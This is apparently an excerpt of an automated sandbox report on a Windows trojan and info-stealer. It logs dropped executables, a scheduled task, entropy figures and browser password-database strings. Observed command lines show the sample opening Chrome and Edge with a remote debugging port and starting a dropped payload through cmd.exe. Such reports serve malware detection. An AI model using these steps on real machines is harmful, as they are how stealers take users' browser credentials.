Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: 3de946c107.exe.28.dr	Static PE information: section name:
Source: 3de946c107.exe.28.dr	Static PE information: section name: .idata
Source: 3de946c107.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsFBGIDHCAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2ECC0	0_2_6CA2ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8ECD0	0_2_6CA8ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AC30	0_2_6CB0AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6C00	0_2_6CAF6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3AC60	0_2_6CA3AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA34DB0	0_2_6CA34DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6D90	0_2_6CAC6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBCDC0	0_2_6CBBCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB8D20	0_2_6CBB8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFED70	0_2_6CAFED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5AD50	0_2_6CB5AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6E90	0_2_6CAB6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3AEC0	0_2_6CA3AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0EC0	0_2_6CAD0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10E20	0_2_6CB10E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACEE70	0_2_6CACEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78FB0	0_2_6CB78FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3EFB0	0_2_6CA3EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0EFF0	0_2_6CB0EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA30FE0	0_2_6CA30FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70F20	0_2_6CB70F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36F10	0_2_6CA36F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF2F70	0_2_6CAF2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9EF40	0_2_6CA9EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB368E0	0_2_6CB368E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80820	0_2_6CA80820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA820	0_2_6CABA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04840	0_2_6CB04840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC09A0	0_2_6CAC09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA9A0	0_2_6CAEA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF09B0	0_2_6CAF09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C9E0	0_2_6CB4C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA649F0	0_2_6CA649F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86900	0_2_6CA86900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68960	0_2_6CA68960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAEA80	0_2_6CAAEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE8A30	0_2_6CAE8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADEA00	0_2_6CADEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAACA70	0_2_6CAACA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0BA0	0_2_6CAD0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB36BE0	0_2_6CB36BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5A480	0_2_6CB5A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA764D0	0_2_6CA764D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA4D0	0_2_6CACA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94420	0_2_6CA94420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA430	0_2_6CABA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48460	0_2_6CA48460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA245B0	0_2_6CA245B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA5E0	0_2_6CAFA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE5F0	0_2_6CABE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92560	0_2_6CA92560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0570	0_2_6CAD0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78550	0_2_6CB78550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88540	0_2_6CA88540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34540	0_2_6CB34540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E6E0	0_2_6CA8E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE6E0	0_2_6CACE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA546D0	0_2_6CA546D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C650	0_2_6CA8C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5A7D0	0_2_6CA5A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0700	0_2_6CAB0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0C0B0	0_2_6CB0C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA400B0	0_2_6CA400B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28090	0_2_6CA28090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC000	0_2_6CAFC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8010	0_2_6CAF8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E070	0_2_6CA7E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA301E0	0_2_6CA301E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14130	0_2_6CB14130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6130	0_2_6CAA6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98140	0_2_6CA98140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB022A0	0_2_6CB022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFE2B0	0_2_6CAFE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB62C0	0_2_6CBB62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB08220	0_2_6CB08220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA210	0_2_6CAFA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8260	0_2_6CAB8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8250	0_2_6CAC8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA623A0	0_2_6CA623A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E3B0	0_2_6CA8E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA843E0	0_2_6CA843E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2320	0_2_6CAA2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB72370	0_2_6CB72370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA32370	0_2_6CA32370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C360	0_2_6CB4C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6370	0_2_6CAC6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38340	0_2_6CA38340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACFC80	0_2_6CACFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1CE0	0_2_6CAF1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6DCD0	0_2_6CB6DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA41C30	0_2_6CA41C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA33C40	0_2_6CA33C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59C40	0_2_6CB59C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA23D80	0_2_6CA23D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB79D90	0_2_6CB79D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB01DC0	0_2_6CB01DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA93D00	0_2_6CA93D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA53EC0	0_2_6CA53EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3DE10	0_2_6CB3DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8BE70	0_2_6CB8BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB5E60	0_2_6CBB5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA51F90	0_2_6CA51F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBFF0	0_2_6CADBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4DFC0	0_2_6CB4DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB3FC0	0_2_6CBB3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65F20	0_2_6CA65F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25F30	0_2_6CA25F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB87F20	0_2_6CB87F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0F8F0	0_2_6CB0F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D8E0	0_2_6CA3D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA638E0	0_2_6CA638E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8B8F0	0_2_6CB8B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACF8C0	0_2_6CACF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D810	0_2_6CA8D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB01990	0_2_6CB01990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA41980	0_2_6CA41980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA959F0	0_2_6CA959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC79F0	0_2_6CAC79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC99C0	0_2_6CAC99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA699D0	0_2_6CA699D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5920	0_2_6CAE5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7F900	0_2_6CB7F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAF960	0_2_6CAAF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED960	0_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0DAB0	0_2_6CB0DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA31AE0	0_2_6CA31AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2DA30	0_2_6CB2DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6FA10	0_2_6CA6FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD1A10	0_2_6CAD1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB9A50	0_2_6CBB9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89BA0	0_2_6CA89BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9BB0	0_2_6CAF9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15B90	0_2_6CB15B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA21B80	0_2_6CA21B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA77BF0	0_2_6CA77BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7BB20	0_2_6CA7BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0FB60	0_2_6CB0FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB14A0	0_2_6CBB14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA314E0	0_2_6CA314E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19430	0_2_6CB19430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD410	0_2_6CABD410
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0100E530	28_2_0100E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01042D10	28_2_01042D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_010431A8	28_2_010431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01004DE0	28_2_01004DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01047049	28_2_01047049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01048860	28_2_01048860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_010478BB	28_2_010478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01004B30	28_2_01004B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_01037F36	28_2_01037F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0104779B	28_2_0104779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBBDAE0 appears 72 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA59B10 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB09D0 appears 303 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA53620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA8C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBBD930 appears 57 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB69F30 appears 51 times

Source: file.exe, 00000000.00000002.2761031040.000000006F6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd. vs file.exe
Source: file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: zrgpiaez ZLIB complexity 0.9948863106343283
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9971474795640327
Source: random[1].exe.0.dr	Static PE information: Section: pcmamdpe ZLIB complexity 0.9947340162865236
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9971474795640327
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: Section: pcmamdpe ZLIB complexity 0.9947340162865236
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9971474795640327
Source: skotes.exe.23.dr	Static PE information: Section: pcmamdpe ZLIB complexity 0.9947340162865236
Source: random[1].exe.28.dr	Static PE information: Section: ZLIB complexity 0.9982861651490066
Source: random[1].exe.28.dr	Static PE information: Section: dmrorfjy ZLIB complexity 0.9947699652777777
Source: 3de946c107.exe.28.dr	Static PE information: Section: ZLIB complexity 0.9982861651490066
Source: 3de946c107.exe.28.dr	Static PE information: Section: dmrorfjy ZLIB complexity 0.9947699652777777

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/291@21/29

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA90300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CA90300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\0FD5A4HU.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8724:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\b19872f5-5595-49e0-b93b-0555329b8bed.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2481500341.000000001D17D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2384061103.000000001D189000.00000004.00000020.00020000.00000000.sdmp, HCAEHJJKFCAAFHJKFBKK.0.dr, BAKEBFBAKKFCBGDHDGHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2756214782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFBGIDHCAAK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2064,i,12329911643549209979,17985636195308993724,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2188,i,1505856362135034536,9576378359776568965,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6632 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6944 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBGIDHCAAK.exe"
